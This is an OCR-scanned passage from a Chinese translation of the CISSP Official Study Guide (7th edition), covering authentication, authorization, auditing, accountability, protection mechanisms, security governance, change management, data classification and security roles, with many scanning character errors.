认证或测试所声明身份合法性的过程就是身份认证。 身伤1证要求来自 主体的附加信息必须完
全对应于被表明的身份。 身份认证的最常见形式是使用密码(包括密码的变化形式 P剧 和密码短语)。
通过与合法身份(也就是用户 账户 )数据库中 的一种或多种因素进行比较， 身份认证能够认证主体的
身份 。 用 于认证身份的身份认证因素通常被革示记为或被视为私有信息。 主体和系统维护身份认证因
素隐蔽性的能力直接反映了该系统的安全级别。 如果非法获得和使用 目 标用户身份认证因素的过程
相对容易 ， 那么身份认证系统就不安全 。 如果这个过程相对困难， 那么身份认证系统就相当安全。
身份标识和身份认证总是作为一个过程中 的两个步骤被一起使用。 提供身份是第7个步骤， 提
供身份认证因素则是第二个步骤。 如果不执行上述两个步骤， 那么主体就不能获得对系统的访问权
限 。 就安全性而言， 缺少其中任何一个步骤都是没用 的 。
主体能够提供多种身份认证类型(例如， "你知道什么 "、 "你拥有什么 " 等)。 每种身份认证技术
或因素都具有 自 己独特的优点和弱点。 因此， 根据每种身份认证技术或因素以及部署的环境来确定
是否适用 ， 从而评价每种机制是十分重要的(第1 3章 " 管理身份与认证 " 中详细讨论了身份认证的 内
容)。
3. 授权
一旦主体通过了 身份认证， 其访问还必须经过授权。 授权的过程确保被请求的活动或客体访问 ，
可 以获得通过身份认证和指派的权利和特权。 在大多数情况下， 系统会评估一个访问控制表， 这个
表会对主体、 客体和预计的活动进行比较。 如果允许进行指定的操作， 那么主体就获得了授权;反
之 ， 主体就没有获得授权。
需要记住的是， 虽然主体通过了身份标识和身份认证， 但是并不意味着在受控环境内被授权执
行任何操作或访问所有资源。 主体登录某个网络(也就是说， 提供了 身份标识和通过了身份认证)，
但是仍然可能被阻止访问文件或进行打印(也就是说， 未授权执行这些活动)。 大多数网络用户只是
被授权在指定的一组资源上执行数量有限的一些操作。 身份标识和身份认证是访 问控制的 " 全有 "
或 "全无"。 对于环境中 的每个客体， 在 "全有" 与 " 全无" 之间， 授权具有非常大的变化。 例如，
用户也许能够读取某个文件， 但是不能删除这个文件: 用户也许能够打印文档， 但是不能更改打印
队列; 用户也许能够登录到系统中 ， 但是无法访问任何资源 。 通常， 对授权的定义使用 了访问控制
模型中 的 一个概念 ， 例如 DAC、 MAC 或 阻AC(参看第 1 4 章 " 控制和监控访问" ) 。
AAA 服务
你 可 能听过 AAA 服务的概念 。 这三个 A 是 Authentication(认证)、 Au由orization(投权)和
Accounting(可问 责性， 有 时是 Auditing， 意思是审计)的英文缩写。 然而， 有点让人不明 白 的是， 虽
然这是三个英文羊祠 的缩写 ， 但实 际上它指的是 5 个元素: 身份识别 、 身千分4人证、 技权、 审计和可
问 责性。 因此， 第 一个和第三个 A 实 际上代表了 两个概念而非一个概念。 这 5 个元素代表了 下面的
安全性流程:
识别 当试图访问受保护 区 域或系统时 声 明 身 份
认证 证明 身 份
授权 允许和拒绝对特定身份进行资源和客体的访 问
审计 记录与 系 统和主体相关的事件和活 动 日 志
第1章 通过原则和策略 的安全治理
可问责(又名可问妻性) 审核 日 志 文件 ， 检查符合与 违反行为 以便主体可为 自 己的行为 负 责
虽 然AAA 常用 于身4妇人证系统， 但其实 AAA 是所有安全形式的一个基础概念。 如果一个安全
机制缺 少这 5 个元素 中 的任何一个， 这个机制 就是不 完整的 。
4. 审计
审计或监控是程序化方式， 通过这种方式， 主体在系统中经过身份认证的行为是可问 责的。 审
计也是对系统中未授权的或异常的活动进行检测的过程。 审计不仅会记录主体及其客体的活动 ， 而
且还会记录维护操作环境和安全机制的核心系统功能的活动。 通过将系统事件记录写入日 志而创建
的 审计跟踪， 可 以用 于评估系统的健康状况和性能。 系统崩溃可能表明存在程序错误、 驱动器错误
或入侵企图 。 记录系统崩溃起因的事件 日 志常常被用于发现系统出现故障的原因。 日 志文件为重建
事件、 入侵和系统故障的历史提供了 审计跟踪。 我们需要通过审计来检测主体的恶意行为、 入侵企
图和系统故障以及重构事件， 为起诉提供证据、 生成问题报告和分析结果。 审计通常是操作系统、
大多数应用程序和服务的内在特性。 因此， 配置系统功能来记录特定类型事件的相关信息非常简单。
5. 可问责性
只有在支持可问责'性时， 才能够正确实施组织的安全策略。 换句话说， 只有在主体的活动可问
责时， 才能够保持安全性。 有效的可问 责'性依赖于检验主体身份以及跟踪其活动的能力。 通过审计、
授权、 身份认证与身份标识这些安全服务和机制， 将联机身份的活动与某个人联系在一起， 就可以
建立可问 责'性。 因此， 人员 的可问责性最终依赖于身份认证过程的强度。 如果没有强大的身份认证
过程， 那么在发生不可接受的活动时， 我们就无法确定与特定用户账户相关联的人员就是实际控制
该用户账户 的实体。
为了获得切实可行的可问 责性， 在法律上你必须能够支持自 己的安全性。 如果不能在法律上支
持 自 己的安全努力， 那么就不太可能问责与某个用户 账户相关联人员 的活动。 只使用密码进行身份
认证， 这显然值得怀疑。 密码是最不安全的身份认证形式， 针对这种形式的不同攻击方式有数十种
之多 。 不过， 如果使用多 因素身份认证(例女日 ， 组合使用密码、 智 能卡和指纹扫描)， 那么其他人几
乎不可能通过攻击身 份认证过程来假冒特定用户 账户 的关联人员 。
法律上的可防御安全性
安全的要点是: 防止坏的事情发生 ， 同 时支持好的事情出现。 发生坏的事情时 ， 组织常常希望
通过法律的 实施和法律系 统的援助未得到手H尝。 为 了 获得法律赔偿， 就必须证明存在罪行或者嫌疑
人实施了犯罪 ， 以及 自 己 已尽力 阻止罪行的实施， 只有这样才能从法律上防御保护组织的安全性。
如果无法使法庭相信 日 志文件是准确的 ， 以及只有主体才会实施特定的罪行， 那么就无法获得法律
赔偿。 最终， 这就需要一个完整的安全解决方案 ， 这个方案应 当 使用难以破解的 身份认证技术、 稳
固 的投机机制以及完美的审计系统。 此外， 还必须提供下列证明 : 组织机构遵守 了 所有适用 的 法律
和规则 ; 公告了 适当 的警告和通知; 逻辑和物理安全性没有受到其他危害; 以及电子证据没有其他
可能的合王蚓丰释。 你要面对这个相 当 具有挑战性的标准。 如果不打算在法律上的可防种安全性的设
计和实施方 面做出努力， 那么 尝试低于标准的安全性的要点是什 么 呢?
7
8
CISSP 官方学 习指南(第 7 版)
6. 不可否认性
不可否认性确保活动或事件的主体无法否认所发生的事件。 不可否认性能够防止主体宣称自 己
没有发送消息、 没有执行过某项活动或者不是某个事件的起因 。 身份标识、 身份认证、 授权、 可 问
责性和审计使不可否认性成为可能。 通过使用数字证书、 会话标识符、 事务日志以及其他很多传输
和访问控制机制， 我们能够建立不可否认性。 如果没有在系统中构建或正确实施不可否认性， 那么
就无法认证特定实体是否执行了某种动作。 不可否认性是可问 责性不可缺少的部分。 如果嫌疑人能
够否认指控， 那么他的行为就无法被问责 。
1 . 1 .5 保护机制
理解和启用机密性、 完整性和可用性概念的另一方面是保护机制的概念， 保护机制是安全控制
的常见特性。 并非所有的安全控制都必须具有这些机制， 但是许多控制通过使用这些机制提供对机
密性、 完整性和可用性的保护。 这些机制包括: 使用 多层次或多级别的访问、 利用抽象、 数据隐藏
以及使用加密。
1 . 分层
分层只是简单地使用连续的多重控制， 也被称为深层防御。 没有一种特定的控制方法能保护并
对抗所有可能存在的威胁。 使用多层次的解决方案允许引 入多种不同的控制方法来应对随时出现的
各种威胁。 当 分层 设计安全解决方案时 ， 大多数的威胁都会被消除、 缓解或阻挡 。
使用连续分层法而不是并行分层法， 这一概念非常重要。 通过连续方式执行安全限制意味着使
用线性的方式依次执行 。 只有通过一系列配置， 才能由每个安全控制对攻击进行扫描、 评估或缓解。
单个安全控制方法的失败不会使整个解决方案失效。 如果安全控制是以并行方式执行的， 某个威胁
就可能穿过单个检查点 ， 从而无法消除该威胁特殊的恶意活动 。
连续配置方法虽然范围很窄 ， 但是层次很深; 并行配置方法虽然范围很宽， 但是层次很浅。 并
行系统在分布式计算应用程序中非常有用 ， 但是在安全领域内， 并行机制往往不是一种有用的概念。
考虑一下通往建筑物的物理入 口 。 并行安排出入口 的方法被用于购物商场， 商场周边的许多地
方都设置了 出入口 。 连续设置出入口 的方式很可能用于银行或机场。 这种场合只提供单一的入口 ，
并且此入 口 实际上是为了 获得进入建筑物活动 区域而 必须按顺序通过的几个关 口 或检查点 。
分层还包括网络由多个独立实体组成的概念， 每个实体都有自 己独特的安全控制方法与脆弱性。
在有效的安全解决方案中 ， 所有构成单个安全防线的网络系统之间存在协同作用 ， 从而共同筑起一
道安全防线 。 使用独立 的安全系统会导致生成分层 的安全解决方案。
2. 抽象
抽象是为提高效率而使用 的 。 相似的元素被放入组、 类别或角色(被整体性授予安全控制、 限制
或权限)中 。 因此， 当为客体分类或为主体分配角色时， 就需要使用抽象的概念 。 抽象的概念还包括
客体和主体类型的定义或客体本身的定义(也就是用于为实体类别定义模板的数据结构)。 抽象用于
定义客体可以包含的数据类型 、 可 以在这个客体上执行的或由该客体执行的功能类型以及这个客体
具有的功能 。 抽象使你能够为按类型或功能分类的客体组分配安全控制方法， 并抽象简化 了 安全
措施。
第1章 通过原则和策略的安全治理
3. 数据隐藏
顾名思义， 数据隐藏通过将数据置于主体不可访问或无法看到的存储空间 ， 从而防止主体发现
或访问数据。 不让未授权的访问者访问数据库是数据隐藏的一种形式， 同样， 限制分类级别较低的
主体访 问级别较高的数据也属于这种情况， 阻止应用程序直接访问硬件也是数据隐藏的一种形式。
在 安全控制和程序设计中 ， 数据隐藏通常是一个关键要素 。
4. 加 密
加密是对计划外的接收者隐藏通信数据的含义或意图的一门艺术和学科。 加密可以具有很多形
式， 并且能够被应用于所有的电子通信类型， 包括文本、 音频和视频文件以及应用程序本身。 加密
技术是安全控制中一个非常重要的要素， 尤其系统之间的数据传输更是如此。 加密的强度各种各样，
每种强度的设计都针对一种特定的用途或 目 的。 第6章 " 密码学与对称加密算法" 和第 7 章 "p阳
和 密码学应用 " 中 详细讨论了 加密技术。
1 .2 应 用 安全治理原则
安全治理是实践行为的集合， 这些实践都与支持、 定义和指导组织的安全工作相关。 安全治理
与组织和 IT 治理密切相关， 而且经常交织在一起。 这三种治理的 目标一般是相同或相关的。 例如，
治理的共 同 目标就是确保组织能持续且能随时间的推移不断扩大。 因此， 治理的共同 目 标就是维持
业务流程， 同 时努力实现增长和弹性。
由于立法和法规遵从性的需要， 一些治理要求会被强加于机构， 还有其他一些强加的治理要求
可能是由于行业指导方针或许可证所要求的。 所有的治理形式， 包括安全治理， 都必须不时地经受
评估和认证。 可能由于政府的规定或行业最佳实践， 都会对组织有各种审计和认证要求。 治理合规
问题常常因行业和国家的不同而不同。 由于机构扩张和不断去适应全球市场， 治理问题变得越来越
复杂。 再加上各国法律不同 以及实际的冲突， 这个问题也就更加棘手。 组织整体上应该有方向、 有
指导、 有工具、 有足够的监督能力和管理能力， 如此才能应对威胁和风险， 并注重消除故障以及将
潜在的损失或损坏降到最低。
如你所知， 安全治理的各项定义往往是严标准、 高要求。 最终， 安全治理是要实施安全的解决
方案和管理方法， 而这两个方面紧密相连。 安全治理直接监督和参与各级安全。 安全不是井且也不应
该只被视为属于 E 事务。 相反， 安全影响着组织的方方面面。 它不是仅靠 盯 人员 自 己就可以解决的
事情。 安全是商业运行问题， 是组织流程， 而不只 是 盯 怪才在幕后所谋之事。 使用安全治理这个术
语就是为了 强调这一点， 这意味着安全是需要整个组织同时进行管理和控制的， 而不只是在 π部门。
1 .2.1 安全功能战略 、 目标、 任务和愿景的一致
安全管理计划能确保安全策略的适当创建、 实现和实施。 安全管理计划将安全功能与组织的战
略、 目 标、 任务和愿景相结合， 这包括根据商业论证、 预算限制或稀缺资源设计和实现安全性。 为
了对做出决定或采取某种形式行动的必要性进行定义， 商业论证通常会记录参数或说明立场。 制定
商业论证就是要说明具体的商业需求， 以 改变现有业务或选择实现商业 目 标的方法。 商业论证的制
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CISSP 官方学习指南(第 7 版)
定通常能证明启动了一个新的项 目 ， 尤其是与安全相关的项 目 。 同样重要的是， 要考虑能够分配的
预算有多少 ， 这些预算用于 以商业需求为基础的安全防范项 目 。 做好安全防护往往成本很高， 但这
却是长期可靠经营的重要因素。 对大多数机构而言 ， 资金和资源， 比如人、 技术和空间， 都是有限
的 。 由 于有这样的资源限制 ， 因 此需要努力实现利益最大化。
解决安全管理计划编制的最有效方法是采用 自 上而下的方式。 上层、 高层或管理部门负责启动
和定义组织的安全策略。 安全策略为组织中较低级别的人员指出了方向。 中层管理部门 的职责是在
安全策略的指导下制定标准、 基准、 指导方针和程序 。 接着， 操作管理者或安全专家负责实现在安
全管理文档中规定的配置要求 。 最后， 最终用 户 必须遵守组织制定 的所有安全策略。
注意 :
与 自 上而下方式相反的是 自 下而上。 在采用 自 下而上方式的环境中 ， IT 人员 在没有来 自 高层管
理部 门 指示时直接进行安全判断。 组织极少使用 自 下而上的 方式， 在 IT 行业 中 ， 这种方式被认为存
在 问题。
安全管理部门(而不是 IT 人员)负责更高层的管理， 并且考虑的是业务运营问题， 而不是 IT 管
理问题。 安全管理团队或部门 负责组织内的安全性， 应当独立于其他所有部门。 信息安全团队应当
由指定的首席安全官(Chief Security 0伍cer， CSO)领导， CSO 必须直接向高级管理者报告 。 为 CSO
及其团 队赋予组织特有分级结构之外的 自 主权， 这不仅能够改善整个组织之间 的安全管理， 而且有
助于避免部 门 交叉和 内 部权力斗争问题。
安全管理计划编制的元素包括: 定义安全角色;规定如何管理安全性、 谁负责安全性以及如何
测试安全性的效力:开发安全策略; 执行风险分析; 以及要求对员工进行安全教育。 这些职责要经
过管理计划开发的指导。
如果缺少一个关键因素(得到高级管理者的批准)， 那么再好的安全计划也是无用的 。 缺少高级
管理者的批准和委托， 安全策略就无法取得成功。 策略开发团 队负责对高级管理部门进行充分的教
育 ， 从而使其理解即使采取安全策略所规定的安全措施之后也仍然存在的风险、 义务和暴露。 开发
和实现安全策略能够证明高级管理者对安全性问题进行了适度关注并尽责。 如果某个公司没有对安
全性进行适度关注并尽责， 那么管理者就对疏忽负有责任， 并且应当为资产损失和财务损失担责。
安全管理计划编制 团 队应该开发下列三种计划(如 图 1 .3所示) :
10
口DDC二1口口亡1日日口口仁1日亡1
�二\操作Ll/三兰_______.
图 1 .3 战略计划 、 战术计划和操作计划的时 间线比较
战略计划 战略计划是一个相当稳定的长期计划 ， 它定义了组织的 目 标， 也有助于理解安全功
能与组织的安全 目 标、 愿景和使命方面的一致性。 如果战略计划每年都被维护和更新， 那么大约可
第1章 通过原则和策略的安全治理
以使用 5 年时间。 战略计划还可以作为计划编制的 基准。 未来的长期 目 标和愿景在战略计划中将被
讨论。 战略计划还应当 包含风险评估 。
战术计划 战术计划是一个中期计划， 它被开发用于提供实现战略计划所提出 目 标的详细细节。
战术计划通常一年有效， 并且往往规定和调度实现组织 目 标所必需的任务。 战术计划的一些示例包
括 : 项目计划 、 采购计划、 雇佣计划 、 预算计划 、 维护计划、 支持计划 以及系统开发计划 。
操作计划 操作计划是一个短期计划 ， 它是基于战略计划和战术计划制定的非常周详的计划。
操作计划 只在很短的时间内有效或有用。 为了服从战术计划， 操作计划必须经常被更新(如每个月 或
每个季度都进行野开)。 操作计划是十分周详的计划， 它清楚地说明了如何完成组织机构的各种 目标。
操作计划包括: 资源分配、 预算要求、 人员分配、 进度安排以及循序渐进或实现措施。 操作计划包
括实现如何服从组织安全策略的详细措施细节。 操作计划的示例包括: 培训计划 、 系统部署计划和
产 品设计计划 。
维护安全性是一个持续的过程。 虽然安全管理计划编制的活动可能具有一个明确的起始点， 但
是其任务和工作永远不可能完全实现或完成。 有效的安全计划重点关注特定的和可完成的 目 标、 预
计变化和潜在问题， 并且作为整个组织决策的基础。 安全文档记录应当是具体的、 定义完善的和清
晰表述的。 为 了使安全计划有效， 就必须开发、 维护和实际应用 安全计划 。
1 .2.2 组织流程
安全治理需要照顾到组织的方方面面， 包括收购、 剥离和治理委员会等组织流程。 收购兼并会
增加机构的风险等级 ， 这些风险包括不适当 的信息披露、 数据丢失、 故障或未达到足够的投资回报
率(ReturnOn Investment， ROI)。 除 了收购兼并中 的典型商业和财务方面， 有效的安全监督和强化审
查往往也是降低损失可能性的必要措施 ， 比如在转型期。
同样， 剥离、 任何形式的资产减少或员工减少都会使阶段内 的风险等级变高， 从而也需要提高
集中安全治理的必要性。 需要对资产进行无害处理 以防止数据泄漏。 应该删除和销毁存储介质 ， 因
为介质净化处理技术不能完全保证可以防止数据残留被恢复。 需要对不再负责相关事直的员工进行
事后审查， 这个过程通常被称为离职面谈。 这个过程也通常涉及审查所有的保密协议和其他具有约
束力的合同或协议， 这些文件需在他们离职后依然有效。
通常， 安全治理由治理委员会或至少是董事会进行管理。 这群人应是有影响力的专家， 他们的
主要任务是监督和指导确保组织安全与操作的行为。 由于安全是一项复杂的任务， 很多组织由于太
大无法从个人视角理解这个问题。 最可靠的策略是集齐一组专家共同为实现可靠安全治理这一 目 标
而努力 。
加强安全治理的两个必要额外组织流程的实例是变更控制/变更管理和数据分类。
1 . 变更控制/变更管理
安全管理中的另外一个重要方面是对变更进行控制或管理。 安全环境的改变可能引入会导致新
脆弱性出现的漏洞、 重叠、 客体丢失和疏漏 。 面对变更， 维持安全性的唯一方法是系统地管理变更，
这往往涉及对安全控制和机制相关的活动， 进行广泛的计划编制、 测试、 日 志记录、 审计和监控。
然后对环境变化进行记录 ， 确定变更的作用者， 无论这些作用者是主体、 客体、 程序、 通信路径还
是网络本身 。
变更管理的 目 标是确保任何变更都不能降低或危及安全性。 变更管理还负责能够将任何变更都
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CISSP 官方学 习指南(第 7 版)
回滚到先前的安全状态。 变更管理可 以在任何系统上实现(不考虑安全级别)。 变更管理要求系统遵
守信息技术安全评估标准(Information Technology Security Evaluation and Criteria， ITSEC)的 B2、 固
和 A l 分类。 最终， 通过避免对己实现的安全性带来无意识的、 间接的或连带性的降低现象， 变更
管理能够改善环境的安全性。 尽管变更管理的一个重要 目 标是防止安全性被不期望地降低， 但其主
要用途是: 详细记录和审 计所有变更， 从而能够通过管理进行详细的检查。
变更管理应该用于监督系统每个方面发生的变更， 包括硬件配置、 操作系统和应用软件的变更。
变更管理应该被包含在设计、 开发、 测试、 评估、 实现、 分发、 演变、 发展、 持续操作以及修改中 。
变更管理不仅需要每个组件和配置的详细 目 录， 而且还需要为每个系统组件(从硬件到软件， 以及从
配置设置到安全特性)收集和维护完整的文档 。
配置或变更管理的变更控制过程具有 以 下几个 目 标或要求:
• 以受监控的和有序的方式实现变更。 变更总是处在控制之下 。
• 包含正式的测试过程， 这种过程用于确认变更产生的预期结果。
• 所有的变更都可以撤消(也被称为回退或回滚计划/流程)。 在变更发生前向用户发出通知，
以避免降低生产率。
• 对变更的影响应进行系统分析。
• 变更对能力 、 功能和性能产生的负面效应最小化。
• 变更由 变更 审批委员会(Change Approval Board， CAB)审阅和批准。
并行运行是变更管理过程的一个示例， 在这种新系统部署测试中 ， 新系统和旧系统并行运行。
每个主要的或重要的用户进程在所有系统上同时执行， 从而确保新系统支持老系统所支持或提供的
所有必 需的业务功能性。
2. 数据分类
数据分类是根据数据的秘密性、 敏感性或机密'性需求来保护数据的主要方式。 在设计和实现安
全系统时， 因 为某些数据项需要更高的安全性， 所以对所有数据采取同样的处理方法是低效率的 。
用 较低安全级别来保护所有数据， 意味着敏感数据很容易被访问。 用较高安全级别保护所有数据，
成本太高且对未分类的非关键数据访问 限制太多。 数据分类用于确定需要分配多少工作量、 资金和
资源去保护数据以及控制对数据的访问。 数据分类或归类， 是根据相似， 性组织工页 、 对象和主题到
组、 类别和集合中 的过程。 这些相似性可能包括价值、 成本、 灵敏度、 风险、 脆弱性、 权力、 特权、
损失或损害的可能水平 以及 " 需知 " 原则 。
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数据分类方案的主要 目 的是: 根据重要性和敏感性给数据分配标签， 对数据安全保护过程进行
规范化和层次化。 数据分类用于为数据存储、 处理和传输提供安全机制， 此外还可以确定如何从系
统中删除数据和销毁数据 。
使用数据分类方案具有下列优点:
• 能够证明组织致力于保护宝贵的资源和 资产 。
• 能够有助于确定 对 组织最关键的或最有价值的资产。
• 为安全机制 的选择提供安全保证。
• 常常是遵守规范或法律约束所必需的。
• 帮助定义访问级别、 授权使用类型 ， 以及对不再有价值的资源进行解除分类和/或对于销毁
操作所需的参数。
• 在数据生命周期管理中 ， 对于确定数据的存储(保留)时长 、 使用和销毁是有帮助的。
第1章 通过原则和策略的安全治理
数据分类标准取决于执行分类的组织。 不过， 从通用或标准化分类系统中可以找到很多一般性
原则:
• 数据的有用性 。
• 数据的时效性。
• 数据的价值或成本。
• 数据的成熟度或年龄。
• 数据的生存期(或何时过期)。
• 与人员 的关联。
• 数据泄露的损失评估(也就是数据泄露会对组织有何影响)。
• 数据修改的损失评估(也就是修改数据会对组织有何影响)。
• 数据的 国 家安全性含义。
• 对数据的 己授权访 问(也就是谁可 以访问数据)。
• 对数据的访 问 限制(也就是谁对数据的访问受到限制)。
• 数据的维护和监控(也就是谁应该维护并监控数据)。
• 数据的存储。
使用适用于组织的标准、 评估数据以及适当地分配数据分类标签 。 在某些情况下， 数据分类标
签被添加到数据对象中。 在其他情况下 ， 通过把数据放入存储机制或放在安全保护机制之后就可以
分配数据分类标签。
为 了 实现分类方案 ， 必须完成下列 7 个主要的步骤或阶段:
(1) 确定管理人员并定义他们 的职责。
(2) 指定如何对信息进行分类和标记的评估标准。
(3) 为每个资源进行分类和添加标签(所有者主导这个步骤， 但是必须有监督人员进行检查)。
(4) 记录发现的分类策略的所有例外 ， 并且将这些例外集成到评估标准中 。
(5) 选择应用于每个分类级别的安全控制 ， 从而提供必要 的保护级别 。
(6) 指 定解除资源分类的过程 以及将资源的 保管权转移给外部实体的过程 。
(7) 创建一份整个组织范围内都知晓的计划 ， 从而指导所有人员对分类系统 的使用 。
在设计分类系统和记录使用过程时， 往往会忽视解除分类。 一旦某个资产不再需要当前分配的
分类或敏感性级别保护， 就需要解除分类。 换句话说， 如果资产是新的， 它会被分配一个比当前级
别更低的敏感性标签。 在资产不能根据需要被解除分类时， 安全资源就会被浪费， 并且更高敏感性
级别的价值和保护会被降低 。
两种通用的分类方案是政府/军方分类(见图 1.4)和商业/私营部门 分类。 政府/军方分类具有 5 个
级别(以下按从高到低列出):
高|绝密
秘密
机密
敏感但非机密
低|非机密
图1.4 政府/军队分类的级别
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CISSP 官方学习指南(第 7 版)
绝密(top secret) 最高的分类级别。 未授权而泄露绝密数据将会有灾难性的后果， 并导致对国
家安全的毁灭性破坏 。
秘密(sec陪t) 用 于具有受限特性的数据。 未授权而泄露秘密数据将会有严重后果， 并导致对国
家安全的重大破坏 。
机密(∞nfidential) 用 于具有机密特性的数据。 未授权而泄露机密数据将会有重大后果， 并导
致对国家安全的严重破坏。 这个分类级别被用于处在 "秘密" 级别和 " 敏感但非机密" 级别之间的
所有数据。
非机密(unciassified) 最低的分类级别。 用于 既不敏感， 也不必分类的数据。 非机密数据的泄
露 既不会危及机密性 ， 也不会造成任何明 显的损坏。
提示:
采用 首字母记忆法可以按照从低到 高的安全顺序轻易地记住政府或军方分类方案的 5 个级别 :
U.S.Can Stop Terrorism(美国 能够制止恐怖主义)。 你会看到: 从左至右的 5 个 大写字母分别表示从低
到 高 的 5 个指定分类级别 (或者说图 1 .4中自 下而上地列 出 5 个级别 项)。
机密级别、 秘密级别和绝密级别统称为分类的级别。 通常， 对未授权的个人泄露真实的数据分
类是一种数据侵权行为。 因此， 术语 " 分类的" 通常用于指示敏感但非机密级别 以上的被分级的数
据 。 所有分类的数据都免受信息自由法案 以及其他很多法律与规章的限制。 美国军队的分类方案与
数据的敏感度关系最密切 ， 而且关注于对机密性的保护(也就是防止泄漏)。 根据危害机密性事件的
破坏程度， 可以粗略地定义每个分类级别或标签。 绝密级别的数据泄漏会对国家安全造成毁灭性破
坏 ， 而非机密级别 的数据泄漏则不会对国家安全或地方安全造成任何严重破坏。
商w私营部门的分类系统通常相差很大， 因为他们的特点就是不会坚守一个标准或法规。 CISSP
考试侧重于 4 种常见或可能的商业分类级别( 图 1 .5 显示 了 从最高到最低的级别):
高
血于|』||||||
低
机密 / 隐私
敏感
公开
图 1 .5 商业/私营部门分类的级别
机密 最高的分类级别， 用于极端敏感的和只能内部使用的数据。 如果机密数据被泄露， 那么
会对公司产生重大的负面影响 。 有时也用标签 " 专有数据" 来替代标签 " 机密信息"。 如果专有数据
被泄露， 将会对组织的竞争力产生灾难性后果。
隐私 用于具有隐私性或个人特性以及只供内部使用 的数据。 如果隐私性数据被泄漏， 那么会
对公司或个人产生重大的负面影响 。
注意:
商业/私营部 门 分类 方案 中 的机密和隐私性数据要求大致相 同 的安全保护级别 。 这两个标签的 实
际差异是: 机密数据手阳有于公司 数据， 而 隐私性数据则非阳刊于与个人有关的数据(例如医疗数据)。
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第1章 通过原则和策略的安全治理
敏感 用 于分类级别高于公开数据的数据。 如果敏感数据被泄漏， 那么 会对公司产生负面影响。
公开 最低的分类级别 ， 用于不属于任何一种较高分类级别的所有数据。 这种数据的泄漏不会
对组织造成严重的 负面影响 。
数据分类还要考虑的一个相关因素就是所有权。 所有权是对个人或群体职责的正式指定 。 所有
权可以明确区分操作系统中的哪些文件或其他类型客体被分配给一个所有者。 通常， 一个所有者对
其拥有的客体具有完整的功能和权限 。 所有权通常归属于操作系统 内 功能最强大的 账户 ， 比如
Windows 系统中的管理员或 Unix 和 Linux 系统中 的 root 用户。 在大多数情况下， 主体在创建新客
体时， 该客体的所有者是默认的。 但有些环境的安全策略要求在创建新对象时， 必须对从最终用户
到管理员或管理用户 的所有权进行正式变更。 在这种情况下， 管理员账户可以直接获取新客体的所
有权。
除了正规的 IT 结构， 其他结构的客体的所有权通常都不明显。 公司文档可以为设施、 商业任务、
流程、 资产等定义所有者 。 然而， 这样的文档编制在现实世界中并不总能够 " 执行 "。 文件客体的所
有权是由操作系统和文件系统执行的 ， 其中物理客体、 无形资产或机构概念(如研发部门或项 目 )的
所有权只能进行书面定义， 所以容易遭到破坏。 必须对物理世界中 的所有权实施额外的安全治理，
如此才能达到加强效果。
1 .2.3 安全角色和责任
安全角色是指个人在组织内 部的整个安全实:EJt*口管理方案中所扮演的角色。 因 为并不总是明确
的或静态的 ， 所以安全角色在工作描述中不是必须被规定的。 熟悉安全角色将对在组织内部建立通
信和支持结构很有帮助， 这种结构能够支持安全策略的部署和执行。 接下来， 我们将按照在安全环
境 中 出现的逻辑顺序介绍 6 种安全角 色 :
高级管理者 组织所有者(高层管理者)的角色被分配给最终负责组织机构安全维护和最关心保
护资产的人。 高层管理者必须对所有策略问题签字。 事实上， 所有活动在被执行之前 ， 都必须得到
高层管理者的认可和签字。 如果没有高层管理者的授权和支持， 那么就不存在有效的安全策略。 高
层管理者对安全策略的认同表明承认在组织机构内 部实现的安全性的所有权。 高层管理者对安全解
决方案的总体成败负有责任 ， 并且负 责对组织机构建立安全性予 以 适度关注并尽职尽责 。
虽然高层管理者对安全负有最终责任， 但他们实际上很少去实现安全解决方案 。 在大多数情况
下 ， 相应的责任会被委派给组织 内 部的安全专家。
安全专家 安全专家、 信息安全官或计算机应急响应团队(Computer Incident Response Team，
CIRT)的角色被分配给受过培训和经验丰富的网络工程师、 系统工程师和安全工程师， 他们对落实
高层管理部门 下达的指示负责。 安全专家的职责是保证安全性， 包括制定和实现安全策略。 安全专
家的角色可以被标记为 ISIIT 职能角色。 安全专家的角色通常由负责设计和实现安全解决方案的 团
队担任， 安全解决方案则是根据己批准的安全策略制定的。 安全专家不是决策制定者， 他们只是实
现者。 所有的 决策都必须 由 高层管理者制定 。
数据所有者 数据所有者的角色被分配给在安全解决方案中为了放置和保护信息而负责对信息
进行分类的人。 通常， 数据所有者是层次较高的、 最终负责数据保护的管理者。 然而， 数据所有者
一般会将实际管理数据的任务委派给数据管理员 。
数据管理员 数据管理员 的角色被分配给负责实施安全策略和上层管理者规定的保护任务的用
户 。 数据管理员通过执行所有必要的措施为数据提供适当的 CIA 三元组(机密性、 完整性和可用性)
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CISSP 官方学习指南(第 7 版)
保护 ， 并完成上层管理者委派的要求和责任。 这些必要的措施包括: 完成和测试数据备份、 确认数
据 的完整性、 部署安全解决方案 以及根据分类管理数据存储。
用户 用户(最终用户或操作者)的角色被分配给具有安全系统访问权限的任何人。 用户的访 问
权限与他们的工作任务联系在一起并且受到限制， 所以他们只具有工作职务所要求的能保证完成任
务所需的权力(也就是最小特权原则)。 用户负责了解组织的安全策略， 并遵守规定的操作过程， 在
己定义的安全参数 内 进行操作 ， 以 便维护安全策略。
审计人员 另 一个角色是审计人员 。 审计人员负责测试和认证安全策略是否被正确实现以及衍
生的安全解决方案是否合适。 审计人员 的角色可 以被分配给安全专家或受过培训 的用户 。 审计人员
要完成遵守情况报告和有效性报告 ， 高层管理者会审查这些报告。 通过这些报告发现的 问题， 会 由
高层管理者转换成下达给安全专家或数据管理员 的新指示。 不过， 因 为审计人员需要将用户或操作
者在环境中 的工作作为审计和监控的活动来源， 所以 审计人员被列为最后一个角色。
所有这些角色在安全环境中 都起着重要的作用。 对于确定义务和责任以及确定分级管理和任务
委派方案， 这些角 色都非常有用 。
1 .2.4 控制架构
为组织起草安全性立场通常会涉及很多事情， 不只是写下几条远大的理想。 在多数情况下， 制
定可靠的安全策略会涉及很多规划。 许多读者可能认识到这个看似荒谬的概念， 即 召开会议为未来
制定计划 。 事实证明， 为安全制定计划必须从规划计划开始， 然后规划标准和合规， 最后再进行实
际的计划开发和设计。 跳过这些 " 规划计划 " 中的任何一步都可能使计划在开始之前就发生偏移。
安全计划步骤中最重要的一步， 也是第一步， 就是考虑组织想要的安全解决方案的整体控制框
架或结构。 可 以从几个与安全性相关 的概念基础设施中进行选择; 而 CISSP 考试覆盖的一个方面是
信息及相关技术控制 目 标(Control Objectives for Information and Related Technology， COBIT)o COBIT
记录了一整套优秀的 IT 安全实践， 这些是由国际信息系统审计协会(Information System Audit and
Control Association， ISACA)起草的 。 COBIT 规定了 安全控制 的 目 标和要求， 鼓励将 IT 的理想安全
